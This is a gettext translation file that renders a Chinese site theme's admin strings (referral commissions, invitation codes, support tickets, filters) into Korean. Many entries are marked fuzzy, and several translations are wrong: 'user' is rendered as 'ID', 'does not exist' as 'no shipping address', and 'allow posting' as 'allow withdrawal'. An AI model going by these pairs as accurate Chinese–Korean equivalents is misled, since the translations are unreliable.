msgid "登录用户显示全部"
msgstr "아이디"

#: Modules/Settings/CustomPay.php:290
msgid "只显示当前用户的支付结果"
msgstr "현재 사용자의 결제 결과만 표시"

#: Modules/Settings/CustomPay.php:292
msgid "管理员不受此显示，始终可以查看全部"
msgstr ""
"관리자에게는 이 항목이 표시되지 않으며 항상 모든 항목을 볼 수 있습니다."

#: Modules/Settings/CustomPay.php:297
msgid "切换表单的按钮名称"
msgstr "양식의 버튼 이름 전환"

#: Modules/Settings/CustomPay.php:300
msgid "如果要显示支付用户列表，tab选项卡中显示的文字"
msgstr "유료 사용자 목록을 표시하려면 탭 탭에 표시되는 텍스트"

#: Modules/Settings/CustomPay.php:304
msgid "切换支付用户列表的按钮名称"
msgstr "유료 사용자 목록의 토글 버튼 이름"

#: Modules/Settings/CustomPay.php:307
msgid "如果显示支付用户列表，tab选项卡中显示的文字"
msgstr "유료 사용자 목록이 표시되는 경우 탭 탭에 표시되는 텍스트"

#: Modules/Settings/CustomPay.php:313
msgid "调用的短代码"
msgstr "호출할 단축 코드"

#: Modules/Settings/CustomPay.php:322
msgid "您可以在文章中插入此短代码，以调用自定义支付"
msgstr "기사에 이 단축 코드를 삽입하여 맞춤 결제를 호출할 수 있습니다."

#: Modules/Settings/Distribution.php:49
msgid "推广基本设置"
msgstr "프로모션 기본 설정"

#: Modules/Settings/Distribution.php:50 Modules/Settings/Post.php:346
msgid "推广设置"
msgstr "프로모션 설정"

#: Modules/Settings/Distribution.php:57
msgid "是否启用推广功能"
msgstr "프로모션 기능 활성화 여부"

#: Modules/Settings/Distribution.php:65
#, fuzzy, php-format
msgid ""
"1、您可以在文章、商品、问答、%s中设置是否允许该商品进行提成，只有这些商品开启"
"了提成功能，推广系统才会进行提成操作"
msgstr ""
"1. 상품, 상품, Q & A, 서클에서이 상품에 대한 배당 허용 여부를 설정할 수 있습"
"니다. 해당 상품에 배당 기능이 활성화 된 경우에만 프로모션 시스템이 배당 작업"
"을 수행합니다."

#: Modules/Settings/Distribution.php:66
#, fuzzy
#| msgid ""
#| "2、拥有推广权限的用户会拥有一个推广连接，通过这个推广连接购买后，会按照比"
#| "例给推广人分红"
msgid ""
"2、拥有推广权限的用户会拥有一个推广连接，通过这个推广连接购买后，会按照比例给"
"推广人提成"
msgstr ""
"2. 프로모션 권한이있는 사용자에게는 프로모션 링크가 제공되며,이 프로모션 링크"
"를 통해 구매 한 후 프로모터는 비례 적으로 분배됩니다."

#: Modules/Settings/Distribution.php:67
#, fuzzy, php-format
msgid "3、%s充值、打赏等不会触发提成"
msgstr "3. 잔액 충전, 보상 등은 배당금을 유발하지 않습니다."

#: Modules/Settings/Distribution.php:68
#, fuzzy
#| msgid "4、自己使用自己的推广连接购买不进行分红"
msgid "4、自己使用自己的推广连接购买不进行提成"
msgstr "4. 자신의 프로모션 링크를 사용하여 배당금없이 구매"

#: Modules/Settings/Distribution.php:69
msgid "6、推广关系在第一次使用推广连接的时候就会固化"
msgstr "6. 프로모션 연결을 처음 사용할 때 프로모션 관계가 강화됩니다."

#: Modules/Settings/Distribution.php:70
#, fuzzy
msgid ""
"7、请根据本国或地区的相关法律规定来确定推广层级，请勿触犯所在国家或地区的法"
"律。中华人民共和国境内规定包括本人在内，推广层级不能超过三级，所以强烈推荐中"
"国用户只启用一级。"
msgstr ""
"7, 해당 국가 또는 지역의 관련 법률에 따라 프로모션 레벨을 결정하고 해당 국가 "
"또는 지역의 법률을 위반하지 마십시오. 저를 포함한 중화 인민 공화국에서는 프로"
"모션 레벨이 3레벨을 초과할 수 없으므로 중국 사용자는 첫 번째 레벨만 사용할 것"
"을 강력히 권장합니다."

#: Modules/Settings/Distribution.php:74
msgid "成为推广员的条件"
msgstr "발기인이되기위한 조건"

#: Modules/Settings/Distribution.php:78
msgid "无条件"
msgstr "무조건"

#: Modules/Settings/Distribution.php:80
msgid "某些等级的用户"
msgstr "특정 수준의 사용자"

#: Modules/Settings/Distribution.php:81
msgid "手动设置"
msgstr "수동 설정"

#: Modules/Settings/Distribution.php:84
#, php-format
msgid ""
"选择无条件，则任何人都拥有推广权限。%s选择认证会员后，所有已认证的会员都拥有"
"推广权限。%s选择某些vip会员或者某些普通会员，请在下面选择vip或者普通会员的等"
"级。%s手动设置则没有自动触发成为推广员的权限，需要管理员在用户列表中编辑用户"
"资料，然后给用户设定推广员的权限"
msgstr ""
"무조건 선택하면 모든 사람이 승진 권한을 갖습니다.  %s가 인증 된 멤버를 선택하"
"면 인증 된 모든 멤버가 승격 권한을 갖습니다.  %s 님이 일부 VIP 회원 또는 일"
"반 회원을 선택했습니다. 아래에서 VIP 또는 일반 회원 등급을 선택하세요.  %s의 "
"수동 설정은 발기인이되기위한 권한을 자동으로 트리거하지 않습니다. 관리자는 사"
"용자 목록에서 사용자 프로필을 편집 한 다음 사용자의 권한을 발기인으로 설정해"
"야합니다."

#: Modules/Settings/Distribution.php:105
msgid "哪些等级可以直接成为推广员？"
msgstr "어떤 레벨이 직접 프로모터가 될 수 있습니까?"

#: Modules/Settings/Distribution.php:109
msgid "选择之后，这些用户可以直接成为推广员"
msgstr "선택 후 이러한 사용자는 직접 프로모터가 될 수 있습니다."

#: Modules/Settings/Distribution.php:113 Modules/Settings/Users.php:501
#, fuzzy
#| msgid "一级推广分红比例"
msgid "一级推广提成比例"
msgstr "1 단계 승진 수수료율"

#: Modules/Settings/Distribution.php:117 Modules/Settings/Users.php:505
msgid "请填写数字，比如0.1就是10%"
msgstr "0.1은 10 %와 같이 숫자를 입력하세요."

#: Modules/Settings/Distribution.php:121 Modules/Settings/Users.php:509
#, fuzzy
#| msgid "二级推广分红比例"
msgid "二级推广提成比例"
msgstr "2 차 승진 수수료 비율"

#: Modules/Settings/Distribution.php:125 Modules/Settings/Users.php:513
msgid "填0则不启用二级推广，请填写数字，比如0.05就是5%"
msgstr ""
"보조 프로모션을 비활성화하려면 0을 입력하십시오. 숫자를 입력하십시오. 예를 들"
"어 0.05는 5 %입니다."

#: Modules/Settings/Distribution.php:129 Modules/Settings/Users.php:517
#, fuzzy
#| msgid "三级推广分红比例"
msgid "三级推广提成比例"
msgstr "3 단계 승진 수수료율"

#: Modules/Settings/Distribution.php:133 Modules/Settings/Users.php:521
msgid "填0则不启用三级推广，请填写数字，比如0.03就是3%"
msgstr ""
"3 단계 프로모션을 비활성화하려면 0을 입력하세요. 0.03은 3 %와 같이 숫자를 입"
"력하세요."

#: Modules/Settings/Distribution.php:138
msgid "推广关系列表"
msgstr "프로모션 관계 목록"

#: Modules/Settings/Distribution.php:149 Pages/distribution.php:41
msgid "推广订单列表"
msgstr "프로모션 주문 목록"

#: Modules/Settings/Distribution.php:159
#, fuzzy
#| msgid "文章内容出售默认是否允许分红？"
msgid "文章内容出售默认是否允许提成？"
msgstr "기사가 기본적으로 프로모션을 허용합니까?"

#: Modules/Settings/Distribution.php:163 Modules/Settings/Distribution.php:175
#, fuzzy
#| msgid "默认允许分红"
msgid "默认允许提成"
msgstr "배당금 허용"

#: Modules/Settings/Distribution.php:164 Modules/Settings/Distribution.php:176
#, fuzzy
#| msgid "默认禁止分红"
msgid "默认禁止提成"
msgstr "기본적으로 금지됨"

#: Modules/Settings/Distribution.php:167
#, fuzzy
#| msgid "文章中可以单独设置是否允许分红，不设置则默认使用此处的设置"
msgid "文章中可以单独设置是否允许提成，不设置则默认使用此处的设置"
msgstr ""
"도움말에서 프로모션 허용 여부를 설정할 수 있습니다. 설정하지 않으면 여기의 설"
"정이 기본적으로 사용됩니다."

#: Modules/Settings/Distribution.php:171
#, fuzzy
#| msgid "商品出售默认是否允许分红？"
msgid "商品出售默认是否允许提成？"
msgstr "제품이 기본적으로 프로모션을 허용합니까?"

#: Modules/Settings/Distribution.php:179
#, fuzzy
#| msgid "商品中可以单独设置是否允许分红，不设置则默认使用此处的设置"
msgid "商品中可以单独设置是否允许提成，不设置则默认使用此处的设置"
msgstr ""
"상품은 프로모션 허용 여부를 개별적으로 설정할 수 있으며 여기의 설정은 기본적"
"으로 사용됩니다."

#: Modules/Settings/Distribution.php:183
#, fuzzy
#| msgid "VIP购买是否允许分红？"
msgid "VIP购买是否允许提成？"
msgstr "VIP 구매로 프로모션이 가능합니까?"

#: Modules/Settings/Distribution.php:187 Modules/Settings/Distribution.php:198
#: Modules/Settings/Distribution.php:209 Modules/Settings/Distribution.php:220
#: Modules/Settings/Distribution.php:231 Modules/Settings/Post.php:359
#, fuzzy
msgid "允许提成"
msgstr "허용 수수료"

#: Modules/Settings/Distribution.php:188 Modules/Settings/Distribution.php:199
#: Modules/Settings/Distribution.php:210 Modules/Settings/Distribution.php:221
#: Modules/Settings/Distribution.php:232
#, fuzzy
msgid "禁止提成"
msgstr "커미션 금지"

#: Modules/Settings/Distribution.php:194
#, fuzzy
#| msgid "购买积分是否允许分红？"
msgid "购买积分是否允许提成？"
msgstr "배당 허용 여부"

#: Modules/Settings/Distribution.php:205
#, fuzzy
#| msgid "付费认证是否允许分红？"
msgid "付费认证是否允许提成？"
msgstr "유료 인증이 프로모션을 허용합니까?"

#: Modules/Settings/Distribution.php:216 Modules/Settings/Distribution.php:227
#, fuzzy
#| msgid "是否允许分红"
msgid "用户加入圈子是否允许提成"
msgstr "배당 허용 여부"

#: Modules/Settings/Distribution.php:272 Modules/Settings/Distribution.php:458
#: TempParts/circle/circle-form.php:272
msgid "搜索用户"
msgstr "사용자 검색"

#: Modules/Settings/Distribution.php:360
msgid "返回到推广关系列表"
msgstr "프로모션 목록으로 돌아 가기"

#: Modules/Settings/Distribution.php:368
msgid "用户："
msgstr "아이디"

#: Modules/Settings/Distribution.php:381
#, php-format
msgid "是否允许 %s 推广"
msgstr "%s의 승격 허용 여부"

#: Modules/Settings/Distribution.php:387 Modules/Settings/Links.php:283
#: Modules/Settings/Normal.php:1726 Modules/Settings/Normal.php:1738
#: Modules/Settings/Normal.php:1760 Modules/Settings/Post.php:126
#: Modules/Settings/Post.php:421 Modules/Settings/Post.php:644
msgid "允许"
msgstr "허용하다"

#: Modules/Settings/Distribution.php:388 Modules/Settings/Links.php:284
msgid "不允许"
msgstr "허용되지 않음"

#: Modules/Settings/Distribution.php:394
#: Modules/Settings/distributionUserListTable.php:105
msgid "上一级推广"
msgstr "높은 수준의 승진"

#: Modules/Settings/Distribution.php:410
#: Modules/Settings/distributionUserListTable.php:106
msgid "上二级推广"
msgstr "중고등 부 승진"

#: Modules/Settings/Distribution.php:418 Modules/Settings/Distribution.php:434
msgid "不存在"
msgstr "배송지가 없습니다."

#: Modules/Settings/Distribution.php:426
#: Modules/Settings/distributionUserListTable.php:107
msgid "上三级推广"
msgstr "상위 3 개 승진"

#: Modules/Settings/Document.php:33 Modules/Settings/Document.php:45
msgid "快速编辑"
msgstr "빠른 편집"

#: Modules/Settings/Document.php:106
msgid "在该组别的排序"
msgstr "이 그룹의 문서 종류"

#: Modules/Settings/Document.php:113 Modules/Settings/Main.php:311
#: Modules/Settings/Post.php:500 Modules/Settings/Post.php:507
msgid "微信关键词"
msgstr "WeChat 키워드"

#: Modules/Settings/Document.php:123
msgid "文档"
msgstr "선적 서류 비치"

#: Modules/Settings/Document.php:125
msgid "有什么可以帮到您的？"
msgstr "도와 드릴까요?"

#: Modules/Settings/Document.php:126
msgid "搜索帮助文档"
msgstr "도움말 문서 검색"

#: Modules/Settings/Document.php:154 Modules/Settings/Newsflashes.php:74
#, fuzzy, php-format
msgid "是否启用%s功能"
msgstr "프로모션 기능 활성화 여부"

#: Modules/Settings/Document.php:186
#, fuzzy, php-format
msgid "%s首页顶部图片"
msgstr "문서 홈페이지 상단 이미지"

#: Modules/Settings/Document.php:193 Modules/Settings/Normal.php:358
#: Modules/Settings/Normal.php:377 Modules/Settings/Normal.php:400
#: Modules/Settings/Normal.php:1542 Modules/Settings/Normal.php:1563
#: Modules/Settings/Shop.php:958 Modules/Settings/Taxonomies.php:382
#: Modules/Settings/Taxonomies.php:454 Modules/Settings/Taxonomies.php:509
#: Modules/Settings/Taxonomies.php:570 Modules/Settings/Taxonomies.php:619
#: Modules/Settings/Taxonomies.php:683 Pages/create-circle.php:138
#: Pages/create-circle.php:149
msgid "选择图片"
msgstr "이미지 선택"

#: Modules/Settings/Document.php:206
#, fuzzy, php-format
msgid "%s首页搜索标题"
msgstr "문서 홈 검색 제목"

#: Modules/Settings/Document.php:213
#, fuzzy, php-format
msgid "%s首页搜索框提示"
msgstr "문서 홈페이지 검색 창 프롬프트"

#: Modules/Settings/Document.php:233
#, fuzzy, php-format
msgid "首页显示的%s分类"
msgstr "홈페이지에 표시되는 문서 분류"

#: Modules/Settings/Document.php:235
msgid "可拖动排序"
msgstr "드래그 가능한 정렬"

#: Modules/Settings/Document.php:241
#, fuzzy, php-format
msgid "%s首页显示多少篇最新%s"
msgstr "문서 홈페이지에 표시되는 새 문서 수"

#: Modules/Settings/Document.php:253 Modules/Settings/Document.php:254
msgid "工单管理"
msgstr "작업 주문 관리"

#: Modules/Settings/Document.php:347
msgid "您的工单已经被回复：${request_page}"
msgstr "작업 주문이 회신되었습니다: ${request_page}"

#: Modules/Settings/Document.php:382 Modules/Settings/Orders.php:936
msgid "没有找到此订单"
msgstr "이 주문을 찾을 수 없습니다."

#: Modules/Settings/Document.php:405 Modules/Settings/Document.php:439
#: Pages/requests.php:37
msgid "客服回复："
msgstr "고객 서비스 응답:"

#: Modules/Settings/Document.php:454 Modules/Settings/RequestsTable.php:36
msgid "已回复"
msgstr "답장 함"

#: Modules/Settings/Document.php:455 Modules/Settings/RequestsTable.php:36
msgid "未回复"
msgstr "보답 없는"

#: Modules/Settings/Document.php:461
msgid "搜索工单"
msgstr "티켓 검색"

#: Modules/Settings/Document.php:476
msgid "：您的工单有新的回复"
msgstr ": 티켓에 새로운 답장이 있습니다."

#: Modules/Settings/Document.php:488
msgid "你的工单得到了回复："
msgstr "티켓이 응답되었습니다 :"

#: Modules/Settings/Editor.php:29
msgid "隐藏内容开始"
msgstr "숨겨진 콘텐츠 시작"

#: Modules/Settings/Editor.php:30
msgid "隐藏内容结束"
msgstr "숨겨진 콘텐츠의 끝"

#: Modules/Settings/Editor.php:35
#, fuzzy, php-format
msgid ""
"请直接复制视频网址到此处%s支持%s等视频格式%s也支持各大视频平台的网址比如%s如"
"果不设置封面，程序会自动获取%s不保证每次都能获取成功！"
msgstr ""
"여기에 비디오 URL을 직접 복사하십시오.  %s는  %s와 같은 비디오 형식을 지원합"
"니다.  %s는 주요 비디오 플랫폼의 URL도 지원합니다. 예를 들어 표지를 설정하지 "
"않으면 프로그램이 자동으로  %s을 얻습니다. 매번 얻을 수 있다는 보장은 없습니"
"다!"

#: Modules/Settings/Editor.php:36
msgid "添加附件"
msgstr "첨부 파일 추가"

#: Modules/Settings/Editor.php:41
msgid "如果没有提取码或解压码，请留空"
msgstr "추출 코드 나 압축 해제 코드가없는 경우 비워 두십시오."

#: Modules/Settings/Editor.php:42
msgid "插入站内链接"
msgstr "사이트 링크 삽입"

#: Modules/Settings/Editor.php:43
msgid "文章\\商品\\研究所的ID"
msgstr "기사 \\ 제품 \\ 기관 ID"

#: Modules/Settings/Editor.php:44
msgid "请直接填写文章、商品、帖子、导航等站内网址或ID"
msgstr "논문, 제품, 연구소의 아이디를 직접 입력 해주세요."

#: Modules/Settings/Editor.php:45
msgid "插入邀请列表"
msgstr "초대 목록 삽입"

#: Modules/Settings/Editor.php:48
msgid "请输入列表的开始ID和结束ID"
msgstr "목록의 시작 ID와 끝 ID를 입력하십시오"

#: Modules/Settings/Filter.php:17
msgid "多级筛选"
msgstr "다단계 심사"

#: Modules/Settings/Filter.php:18
msgid "存档页面设置"
msgstr "페이지 설정 보관"

#: Modules/Settings/Filter.php:25 Modules/Settings/Taxonomies.php:39
msgid "多级筛选设置"
msgstr "다단계 필터 설정"

#: Modules/Settings/Filter.php:28 Modules/Settings/Taxonomies.php:42
msgid "多级筛选设置设置"
msgstr "다단계 필터 설정"

#: Modules/Settings/Filter.php:29 Modules/Settings/Taxonomies.php:43
#: Modules/Settings/Taxonomies.php:186 Modules/Settings/Template.php:475
msgid "添加新模块"
msgstr "새 모듈 추가"

#: Modules/Settings/Filter.php:30 Modules/Settings/Taxonomies.php:44
#: Modules/Settings/Taxonomies.php:187 Modules/Settings/Template.php:476
msgid "删除模块"
msgstr "모듈 삭제"

#: Modules/Settings/Filter.php:33 Modules/Settings/Taxonomies.php:47
#: Modules/Settings/Taxonomies.php:190 Modules/Settings/Template.php:479
msgid "确定要删除这个模块吗？"
msgstr "이 모듈을 삭제 하시겠습니까?"

#: Modules/Settings/Filter.php:38 Modules/Settings/Taxonomies.php:53
#: Modules/Settings/Template.php:1790
msgid "是否开启筛选"
msgstr "필터링 활성화 여부"

#: Modules/Settings/Filter.php:49
msgid "允许筛选的分类"
msgstr "필터링이 허용 된 카테고리"

#: Modules/Settings/Filter.php:54 Modules/Settings/Normal.php:1863
#: Modules/Settings/Shop.php:193
#, php-format
msgid "没有分类，请前往%s添加"
msgstr "분류가 없습니다. 추가하려면  %s로 이동하세요."

#: Modules/Settings/Filter.php:62 Modules/Settings/Template.php:2039
msgid "请确保您的分类别名不是中文，否则无法选中"
msgstr ""
"카테고리 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니"
"다."

#: Modules/Settings/Filter.php:68
#, fuzzy, php-format
msgid "允许筛选的%s"
msgstr "필터링이 허용 된 카테고리"

#: Modules/Settings/Filter.php:73 Modules/Settings/Normal.php:1893
#: Modules/Settings/Template.php:1272
#, fuzzy, php-format
msgid "没有%s，请前往%s添加"
msgstr "분류가 없습니다. 추가하려면  %s로 이동하세요."

#: Modules/Settings/Filter.php:81 Modules/Settings/Template.php:1281
#, fuzzy, php-format
msgid "请确保您的%s别名不是中文，否则无法选中"
msgstr ""
"카테고리 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니"
"다."

#: Modules/Settings/Filter.php:85 Modules/Settings/Taxonomies.php:141
#: Modules/Settings/Template.php:1844
msgid "自定义字段筛选项"
msgstr "사용자 정의 필드 필터"

#: Modules/Settings/Filter.php:89
#, php-format
msgid "格式为：%s%s%s比如：%s如果不使用请留空"
msgstr "형식 :  %s  %s  %s 예 :  %s 사용하지 않는 경우 비워 두십시오."

#: Modules/Settings/Filter.php:98 Modules/Settings/Taxonomies.php:155
#: Modules/Settings/Template.php:1858
msgid "标签筛选项"
msgstr "라벨 필터"

#: Modules/Settings/Filter.php:103
#, php-format
msgid ""
"请输入筛选名称以及允许筛选的标签，比如：%s竖线前面为筛选名称，后面是要筛选的"
"标签，用英文逗号隔开，如果不启用此筛选，请留空"
msgstr ""
"필터 이름과 필터링을 허용하는 태그를 입력하십시오. 예를 들어,  %s는 세로줄 앞"
"에 필터 이름이고 그 뒤에 필터링 할 태그가 쉼표로 구분되어 있습니다.이 필터를 "
"사용하지 않는 경우 공백으로 두십시오."

#: Modules/Settings/Filter.php:109 Modules/Settings/Taxonomies.php:166
#: Modules/Settings/Template.php:1869
msgid "排序筛选项"
msgstr "필터 정렬"

#: Modules/Settings/Filter.php:114 Modules/Settings/Taxonomies.php:366
#: Modules/Settings/Template.php:1127
#: Modules/Templates/Widgets/HotInfomation.php:70
#: Modules/Templates/Widgets/Post.php:87
msgid "浏览量"
msgstr "페이지 뷰"

#: Modules/Settings/Filter.php:115 Modules/Settings/Links.php:263
#: Modules/Settings/Taxonomies.php:364 Modules/Settings/Taxonomies.php:918
#: Modules/Settings/Template.php:690 Modules/Settings/Template.php:1125
msgid "喜欢数量"
msgstr "숫자처럼"

#: Modules/Settings/Filter.php:116
msgid "评论数"
msgstr "댓글 수"

#: Modules/Settings/Infomation.php:143 Modules/Settings/Normal.php:1527
#: Modules/Settings/Template.php:440
#: Modules/Settings/distributionUserListTable.php:104 functions.php:1692
msgid "用户"
msgstr "사용자"

#: Modules/Settings/Infomation.php:144
msgid "供求形式"
msgstr "수요와 공급의 형태"

#: Modules/Settings/Infomation.php:145 Modules/Settings/Infomation.php:286
#: Modules/Settings/Infomation.php:451 Pages/carts.php:30
#: Pages/po-infomation.php:41
msgid "价格"
msgstr "가격"

#: Modules/Settings/Infomation.php:146 Modules/Settings/Infomation.php:304
msgid "帖子有效期"
msgstr "포스트 만료일"

#: Modules/Settings/Infomation.php:250 Modules/Settings/Infomation.php:294
msgid "信息属性"
msgstr "정보 속성"

#: Modules/Settings/Infomation.php:258
msgid "是否置顶"
msgstr "상위 여부"

#: Modules/Settings/Infomation.php:262
msgid "不置顶"
msgstr "고정"

#: Modules/Settings/Infomation.php:265
msgid "置顶后此条信息会显示在列表最前端"
msgstr "이 정보는 목록 상단에 고정된 후 목록 상단에 표시됩니다."

#: Modules/Settings/Infomation.php:269
msgid "置顶几天"
msgstr "며칠 최고"

#: Modules/Settings/Infomation.php:272
msgid "留空或者填写0，则一直置顶。否则请直接填写置顶天数"
msgstr ""
"공백으로 두거나 0을 채우면 항상 맨 위에 표시됩니다. 그렇지 않으면 상단에 날짜"
"를 직접 입력하십시오."

#: Modules/Settings/Infomation.php:276
msgid "形式"
msgstr "%s 양식"

#: Modules/Settings/Infomation.php:290
msgid "请直接输入价格，没有价格请直接留空"
msgstr "가격을 직접 입력하세요. 가격이 없으면 공백으로 남겨주세요."

#: Modules/Settings/Infomation.php:307
msgid "请填写过期天数，永不过期，请填写0"
msgstr ""
"회원의 만료 시간을 입력하십시오. 만료되지 않은 경우 0 또는 9999-01-01을 입력"
"하십시오."

#: Modules/Settings/Infomation.php:315 TempParts/infomation/archive.php:91
#: TempParts/single-infomation.php:110
msgid "进行中"
msgstr "처리"

#: Modules/Settings/Infomation.php:316
msgid "已结束"
msgstr "종료"

#: Modules/Settings/Infomation.php:318
msgid "您可以手动设置已过期，否则到期之后也会自动过期"
msgstr ""
"수동으로 만료되도록 설정할 수 있습니다. 그렇지 않으면 만료된 후 자동으로 만료"
"됩니다."

#: Modules/Settings/Infomation.php:325
#, php-format
msgid "请按照如下格式填写，比如：%s电话|199043xxxx%sQQ|12345678%s"
msgstr "다음 형식을 입력하세요. 예: %sTelephone|199043xxxx%sQQ|12345678%s"

#: Modules/Settings/Infomation.php:354 Modules/Settings/Links.php:170
msgid "导航链接"
msgstr "탐색 링크"

#: Modules/Settings/Infomation.php:380
#, fuzzy, php-format
msgid "%s首页描述信息"
msgstr "뉴스 레터 홈페이지 SEO 설명"

#: Modules/Settings/Infomation.php:384
#, php-format
msgid "显示在%s首页标题下面，支持html"
msgstr "%s 홈페이지 제목 아래에 표시되며 html 지원"

#: Modules/Settings/Infomation.php:388
#, php-format
msgid "%s页面每页多少条信息"
msgstr "%s 페이지의 페이지당 정보의 수"

#: Modules/Settings/Infomation.php:392
#, fuzzy, php-format
msgid "%s列表每页显示多少条"
msgstr "페이지 당 표시되는 최신 경고 수"

#: Modules/Settings/Infomation.php:401
msgid "发布设置"
msgstr "게시 설정"

#: Modules/Settings/Infomation.php:419
msgid "是否允许发布"
msgstr "출금 허용 여부"

#: Modules/Settings/Infomation.php:423
msgid "允许发布"
msgstr "게시 허용"

#: Modules/Settings/Infomation.php:424
msgid "禁止发布"
msgstr "스팸 광고 금지"

#: Modules/Settings/Infomation.php:431
#, php-format
msgid "允许发布的%s分类"
msgstr "게시됨 %s"

#: Modules/Settings/Infomation.php:438 Modules/Settings/Normal.php:1848
msgid "限制投稿"
msgstr "기부 제한"

#: Modules/Settings/Infomation.php:442 Modules/Settings/Normal.php:1852
msgid ""
"普通用户多少篇投稿未审核时不允许再次投稿，管理员，编辑不受此数量限制.（此项设"
"置可以防止垃圾投稿）"
msgstr ""
"일반 사용자는 제출 횟수가 검토되지 않은 경우 다시 제출할 수 없습니다. 관리자 "
"및 편집자는이 수에 제한되지 않습니다.이 설정은 스팸 제출을 방지 할 수 있습니"
"다."

#: Modules/Settings/Infomation.php:446
msgid "允许用户填写的设置项"
msgstr "사용자가 입력할 수 있는 설정 항목"

#: Modules/Settings/Infomation.php:452 Pages/po-ask.php:51
#: Pages/po-infomation.php:45
msgid "过期时间"
msgstr "청구 만료 시간"

#: Modules/Settings/Infomation.php:454 Pages/po-infomation.php:53
msgid "属性"
msgstr "자원 속성"

#: Modules/Settings/Infomation.php:471 Modules/Settings/Normal.php:1914
msgid "哪些等级投稿时直接发布，不用审核"
msgstr "검토없이 제출시 직접 게시되는 성적"

#: Modules/Settings/Infomation.php:475 Modules/Settings/Normal.php:1918
msgid "选择之后，这些等级的用户发布文章之后不用审核"
msgstr ""
"선택 후이 레벨의 사용자는 게시 후 기사를 검토 할 필요가 없으며 제한없이 기사"
"를 수정할 수 있습니다."

#: Modules/Settings/Infomation.php:479
msgid "置顶价格"
msgstr "최고 가격"

#: Modules/Settings/Infomation.php:486
msgid "用户如果要自己的帖子置顶，在发布的之前，需要支付对应的金额"
msgstr ""
"사용자가 자신의 게시물을 상단에 고정하려면 해당 금액을 지불한 후 게시해야 합"
"니다."

#: Modules/Settings/Infomation.php:495 Modules/Settings/Links.php:310
msgid "连接内页设置"
msgstr "링크 내부 페이지 설정"

#: Modules/Settings/Infomation.php:500 Modules/Settings/Links.php:315
msgid "连接内页顶部广告位"
msgstr "내부 페이지의 상단 광고 슬롯에 대한 링크"

#: Modules/Settings/Infomation.php:506 Modules/Settings/Links.php:321
msgid "连接内页底部广告位"
msgstr "내부 페이지 하단에 연결"

#: Modules/Settings/Invitation.php:161
msgid "综合设置"
msgstr "포괄적 인 설정"

#: Modules/Settings/Invitation.php:162
msgid "邀请管理"
msgstr "초대 관리"

#: Modules/Settings/Invitation.php:168
msgid "注册时邀请码是否必填"
msgstr "등록시 초대 코드가 필요합니까?"

#: Modules/Settings/Invitation.php:174
msgid "不使用邀请码"
msgstr "초대 코드를 사용하지 마십시오"

#: Modules/Settings/Invitation.php:181
msgid "用户使用邀请码注册后，是否自动关联推广"
msgstr "사용자가 초대 코드를 등록한 후 프로모션이 자동으로 연결되는지 여부"

#: Modules/Settings/Invitation.php:188
msgid "在推广功能开启的状态下，打开此项就可以自关联用户之间的推广关系"
msgstr ""
"프로모션 기능이 켜져 있으면 이 항목을 열어 사용자 간의 관계를 홍보할 수 있습"
"니다."

#: Modules/Settings/Invitation.php:194
msgid "邀请码获取链接"
msgstr "초대 코드 링크 받기"

#: Modules/Settings/Invitation.php:197
#, php-format
msgid "此项内容显示在注册窗口，邀请码填写窗口格式如下：%s。%s比如：%s"
msgstr ""
"이 항목은 등록 창에 표시되며 초대 코드 작성 창의 형식은 다음과 같습니다.  "
"%s.  %s :  %s"

#: Modules/Settings/Invitation.php:208
msgid "是否给注册用户发放邀请码"
msgstr "등록 된 사용자에게 초대 코드 발급 여부"

#: Modules/Settings/Invitation.php:210
msgid "前期站点推广的时候极为有效，建议开启"
msgstr "초기 사이트 프로모션에 매우 효과적입니다."

#: Modules/Settings/Invitation.php:213 TempParts/single-document.php:21
msgid "是"
msgstr "네"

#: Modules/Settings/Invitation.php:214 TempParts/single-document.php:22
msgid "否"
msgstr "아니요"

#: Modules/Settings/Invitation.php:221
msgid "给注册用户发放邀请码的数量"
msgstr "등록 된 사용자에게 발급 된 초대 코드 수"

#: Modules/Settings/Invitation.php:223
msgid "不要太多，不然用户不知道珍惜，默认3个"
msgstr ""
"너무 많이하지 마십시오. 그렇지 않으면 사용자가 소중히 여기는 방법을 모릅니"
"다. 기본적으로 3"

#: Modules/Settings/Invitation.php:234
msgid "发放邀请码的奖励值"
msgstr "초대 코드 발급 보상 가치"

#: Modules/Settings/Invitation.php:236
msgid "给用户发放邀请码的奖励值"
msgstr "사용자에게 초대 코드를 발급 한 보상 가치"

#: Modules/Settings/Invitation.php:251
msgid "邀请码生成"
msgstr "초대 코드 생성"

#: Modules/Settings/Invitation.php:263
msgid "生成邀请码的数量"
msgstr "생성 된 초대 코드 수"

#: Modules/Settings/Invitation.php:276
msgid "奖励的积分"
msgstr "적립 포인트"

#: Modules/Settings/Invitation.php:284
msgid "用户通过邀请码注册之后会得到的积分奖励（奖励给通过邀请码注册的人）"
msgstr ""
"사용자가 초대 코드를 통해 등록한 후 받게되는 포인트 보상 (초대 코드를 통해 등"
"록한 사람에게 보상)"

#: Modules/Settings/Invitation.php:289
msgid "邀请码创建人"
msgstr "코드 생성자 초대"

#: Modules/Settings/Invitation.php:297
msgid ""
"如果需要指定邀请码创建人，请填写创建人的用户ID，邀请码生成成功之后会进入该创"
"建人的邀请码列表中。如果创建人是当前管理员，请直接填0"
msgstr ""
"초대 코드의 작성자를 지정해야하는 경우에는 작성자의 사용자 ID를 입력하십시"
"오. 초대 코드가 성공적으로 생성되면 작성자의 초대 코드 목록에 입력됩니다. 작"
"성자가 현재 관리자 인 경우 0을 직접 입력하십시오."

#: Modules/Settings/Invitation.php:304
#, php-format
msgid "邀请码生成成功， 请前往%s查看。"
msgstr "초대 코드가 성공적으로 생성되었습니다.  %s로 이동하여 확인하십시오."

#: Modules/Settings/Invitation.php:339
msgid "邀请码管理"
msgstr "초대 코드 관리"

#: Modules/Settings/Invitation.php:432
msgid "搜索邀请码"
msgstr "초대 코드 검색"

#: Modules/Settings/InvitationTable.php:28
#: Modules/Settings/InvitationTable.php:33
#: Modules/Settings/VerifyListTable.php:32
msgid "未指定"
msgstr "불특정"

#: Modules/Settings/InvitationTable.php:96
msgid "创建人"
msgstr "설립자"

#: Modules/Settings/InvitationTable.php:97
msgid "邀请码状态"
msgstr "초대 코드 상태"

#: Modules/Settings/InvitationTable.php:99
msgid "奖励值"
msgstr "보상 가치"

#: Modules/Settings/Links.php:34 Modules/Settings/Links.php:262
#: Modules/Settings/Taxonomies.php:917 Modules/Settings/Template.php:689
msgid "站长"
msgstr "웹마스터"

#: Modules/Settings/Links.php:35 Modules/Settings/Links.php:114
